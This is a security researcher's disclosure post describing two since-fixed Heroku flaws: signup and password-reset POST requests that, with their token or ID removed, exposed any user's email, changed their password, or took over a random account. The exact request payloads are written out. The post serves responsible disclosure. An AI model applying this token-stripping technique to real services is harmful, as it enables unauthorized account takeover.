Recently, while contemplating hosting options for my startup, I decided to take a look at Heroku. Upon signing up, I noticed that Heroku used a two-step sign up process. Multi-step sign up processes are notorious for containing security vulnerabilities, and after taking a closer look at Heroku’s I found that it was possible, given only their user ID, to obtain any user’s email address and to change their password.

Sign Up Vulnerability

In the first step of Heroku’s sign up process a user enters their email address:

Upon submitting the form, the user is sent a confirmation email containing a link to activate their account. The activation link consists of the user’s ID and a token:

https://api.heroku.com/signup/accept2/1234567/ec2682960544872b5f7c0bcc12531a3a

Upon loading the activation link, the user is prompted to set a password for their account. The email address that the user entered in the first step is displayed:

When the form is submitted a POST is made containing the user’s ID and the token from the activation link:

POST https://api.heroku.com/invitation2/save

id=1234567&token=ec2682960544872b5f7c0bcc12531a3a&user[password]=123456&user[password_confirmation]=123456&user[receive_newsletter]=0&user[receive_newsletter]=1&commit=Save

If the POST was made with the token parameter removed and the password fields left blank, the resulting error page would display the email address of any user whose ID was put as the value of the “id” parameter:

POST https://api.heroku.com/invitation2/save

id=any_users_id&user[password]=&user[password_confirmation]=&user[receive_newsletter]=0&user[receive_newsletter]=1&commit=Save

If the POST was made with the token parameter removed and the password fields filled in, the user’s password would be changed:

POST https://api.heroku.com/invitation2/save

id=any_users_id&user[password]=123456&user[password_confirmation]=123456&user[receive_newsletter]=0&user[receive_newsletter]=1&commit=Save

Reset Password Vulnerability

A second vulnerability was found in Heroku’s reset password functionality. By modifying the POST request it was possible to reset the password of a random (nondeterministic) user each time that the vulnerability was used.

If a user has forgotten their Heroku password they can use the Reset Password form to reset it:

Upon submitting the form, the user is sent an email containing a link with which they can reset their password. The link consists of an ID:

https://api.heroku.com/auth/finish_reset_password/5ffe213db0fc1543a1335L70eb4273cfe

Upon loading the link, the user is prompted to set a new password for their account:

When the form is submitted a POST is made containing the ID in both the URL and body of the request:

POST https://api.heroku.com/auth/finish_reset_password/5ffe213db0fc1543a1335L70eb4273cfe

id=5ffe213db0fc1543a1335L70eb4273cfe&user_to_reset[password]=123456&user_to_reset[password_confirmation]=123456&commit=Save

If the POST was made with ID removed from both the URL and body, the password of a random account would be reset and the account automatically logged in to:

POST https://api.heroku.com/auth/finish_reset_password/

user_to_reset[password]=123456&user_to_reset[password_confirmation]=123456&commit=Save

Disclosure

I reported these issues to Heroku on December 19. Initial fixes were in place within 24 hours. Heroku asked me to hold off on publishing a public disclosure so that they could do a review of their code which I agreed to.

Update: Heroku’s official response.

Despite finding these vulnerabilities I plan to host my startup at Heroku. Security vulnerabilities happen and Heroku handled the reports well.

Note: All of Heroku’s forms are protected against CSRF with an “authenticity_token” parameter. I removed the parameter from the above examples for clarity.